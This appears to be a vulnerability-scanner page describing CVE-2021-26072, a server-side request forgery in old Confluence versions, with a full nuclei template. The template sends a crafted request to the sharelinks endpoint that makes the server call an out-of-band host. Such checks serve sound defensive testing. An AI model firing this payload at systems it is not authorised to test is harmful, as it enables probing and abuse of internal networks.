Atlassian Confluence < 5.8.6 - Server-Side Request Forgery

mediumseverity

4.3CVSS score

41.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Confluence Server and Data Center before 5.8.6 contain a blind server-side request forgery caused by the WidgetConnector plugin, letting remote attackers manipulate internal network resources, exploit requires network access to the server.

Impact

Authenticated attackers can manipulate internal network resources via SSRF, potentially accessing sensitive internal services or data.

Fix

Upgrade to Confluence Server version 5.8.6 or later.

How to confirm it

Send: GET {{BaseURL}}/rest/sharelinks/1.0/link?url=https://{{interactsh-url}}/
Positive when: contains in interactsh_protocol "http" AND contains "faviconURL" and "domain" AND status 200

Run it with nuclei: nuclei -id CVE-2021-26072 -u <target>

The full check

id: CVE-2021-26072

info:
  name: Atlassian Confluence < 5.8.6 - Server-Side Request Forgery
  author: TechbrunchFR
  severity: medium
  description: |
    Confluence Server and Data Center before 5.8.6 contain a blind server-side request forgery caused by the WidgetConnector plugin, letting remote attackers manipulate internal network resources, exploit requires network access to the server.
  impact: |
    Authenticated attackers can manipulate internal network resources via SSRF, potentially accessing sensitive internal services or data.
  remediation: |
    Upgrade to Confluence Server version 5.8.6 or later.
  reference:
    - https://bitbucket.org/atlassian/confluence-business-blueprints/pull-requests/144/issue-60-conf-45342-ssrf-in-sharelinks
    - https://github.com/assetnote/blind-ssrf-chains#confluence
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26072
    - https://jira.atlassian.com/browse/CONFSERVER-61399
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2021-26072
    cwe-id: CWE-918
    epss-score: 0.41219
    epss-percentile: 0.98679
    cpe: cpe:2.3:a:atlassian:confluence_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atlassian
    product: confluence_server
    shodan-query: http.component:"Atlassian Confluence"
  tags: cve,cve2021,confluence,atlassian,ssrf,oast,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/rest/sharelinks/1.0/link?url=https://{{interactsh-url}}/'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "faviconURL"
          - "domain"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from